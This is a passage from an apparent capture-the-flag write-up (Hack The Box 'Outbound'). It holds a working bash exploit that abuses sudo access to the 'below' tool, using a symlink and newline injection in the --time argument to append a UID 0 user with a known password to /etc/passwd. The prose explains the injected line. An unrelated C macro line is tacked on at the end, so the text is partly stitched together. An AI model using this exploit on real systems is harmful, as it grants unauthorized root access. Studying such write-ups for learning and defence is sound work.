sudo -l | grep -q '/usr/bin/below' || { echo "[!] /usr/bin/below not in sudoers"; exit 1; }

# 1‒ generate SHA-512 password hash
HASH=$(openssl passwd -6 "$PASS")
PAYLOAD_LINE="${USER}:${HASH}:0:0:root:/root:/bin/bash"

# 2‒ place / refresh the symlink 
ln -sf "$TARGET" "$LINK"
echo "[*] Symlink $LINK$TARGET ready"

# 3‒ craft payload: \n <payload> \n BADDATE
PAYLOAD=$'\n'"$PAYLOAD_LINE"$'\nBADDATE'
echo "[DBG] payload:"
printf '%s\n' "$PAYLOAD"

# 4‒ sudo write primitive – parser error logs payload as root
echo "[*] Triggering Below write primitive…"
sudo /usr/bin/below replay --time "$PAYLOAD" 2>/dev/null

echo "[+] Exploit complete."
echo "    su $USER   # password: $PASS"

We abuse the --time argument to inject newlines and drop our payload line directly into /etc/passwd, elevating axura to UID 0.

The malicious line we append:

axura:$6$<pw-hash>:0:0:root:/root:/bin/bash
  • axura – the new login name.
  • password field – a SHA-512 crypt hash ($6$…) produced with openssl passwd -6 "Axura@4sure". We embed the hash directly because we're writing to /etc/passwd (not to /etc/shadow).
  • UID 0 / GID 0 – makes axura an exact root equivalent.
  • comment – “root” (arbitrary).
  • home – /root (so $HOME points to the root directory).
  • shell – /bin/bash.

Rooted:

htb_outbound_10

#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)